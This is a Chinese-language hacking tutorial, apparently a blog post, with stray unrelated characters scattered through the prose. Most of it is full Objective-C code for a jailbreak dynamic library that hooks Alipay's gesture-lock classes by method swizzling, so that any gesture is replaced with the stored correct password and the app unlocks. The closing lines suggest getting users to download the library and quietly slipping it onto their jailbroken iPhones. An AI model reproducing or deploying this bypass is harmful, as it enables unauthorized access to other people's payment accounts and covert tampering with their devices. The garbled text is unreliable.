本文將繼續(xù)深入 hack 實戰(zhàn)中狂，hook 支付寶手勢密碼校驗操作臼勉，欺騙其通過任意手勢輸入快毛。
那么到現(xiàn)在為止，我們已經(jīng)掌握了什么信息呢捏雌？
1）一個名叫 GestureUnlockViewController 的類跃赚，含有 gestureInputView:didFinishWithPassword: 方法，來處理輸入的手勢
2）正確的手勢密碼通過一個名叫 GestureUtil 的類讀取腹忽，方法是 getPassword
思路馬上清晰了，我們需要做 2 步：
1）hook getPassword 存下正確的密碼
2）hook gestureInputView:didFinishWithPassword: 替換當前輸入為正確的密碼
一個關(guān)鍵點砚作，我們是用 Method Swizzling 來 hook窘奏，那么就意味操作不能過早，因為我們要保證在取到 GestureUnlockViewController 和 GestureUtil class 后葫录，才能進行 imp 替換着裹。
所以， 我采用 NSNotificationCenter 通知機制協(xié)助完成任務(wù)米同。
#import#importIMP ori_getPasswd_IMP = NULL;
IMP ori_gesture_IMP = NULL;
@interface NSObject (HackPortal)
@end
@implementation NSObject (HackPortal)
+ (id)getPassword
{
NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
return passwd;
}
- (void)gestureInputView:(id)view didFinishWithPassword:(id)password
{
password = ori_getPasswd_IMP(self, @selector(getPassword));
ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
}
@end
@implementation PortalListener
- (id)init
{
self = [super init];
if (self) {
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(appLaunched:)
name:UIApplicationDidBecomeActiveNotification
object:nil];
}
return self;
}
- (void)appLaunched:(NSNotification *)notification
{
Class class_GestureUtil = NSClassFromString(@"GestureUtil");
Class class_PortalListener = NSClassFromString(@"PortalListener");
Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
ori_getPasswd_IMP = method_getImplementation(ori_Method);
Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
method_exchangeImplementations(ori_Method, my_Method);
Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
Method ori_Method1 = class_getInstanceMethod(class_Gesture,
@selector(gestureInputView:didFinishWithPassword:));
ori_gesture_IMP = method_getImplementation(ori_Method1);
Method my_Method1 = class_getInstanceMethod(class_PortalListener,
@selector(gestureInputView:didFinishWithPassword:));
method_exchangeImplementations(ori_Method1, my_Method1);
}
-(void)dealloc
{
[[NSNotificationCenter defaultCenter]removeObserver:self];
}
@end
static void __attribute__((constructor)) initialize(void)
{
static PortalListener *entrance;
entrance = [[PortalListener alloc]init];
}
OK骇扇！編譯好動態(tài)庫摔竿，塞進 iPhone 試試效果吧～
不管我們輸入什么手勢，都會被替換為正確的密碼去給 gestureInputView:didFinishWithPassword: 驗證少孝，然后順利解鎖继低。
這意味著什么呢？
意味著稍走，我們可以通過正規(guī)的渠道讓用戶下載這個動態(tài)庫袁翁，然后悄悄放進越獄的 iPhone 的 /Library/MobileSubstrate/DynamicLibraries/ 目錄下……然后……然后去給妹紙帥鍋變魔術(shù)吧：“你看，我和你多心有靈犀婿脸，你改什么密碼我都猜的到!”
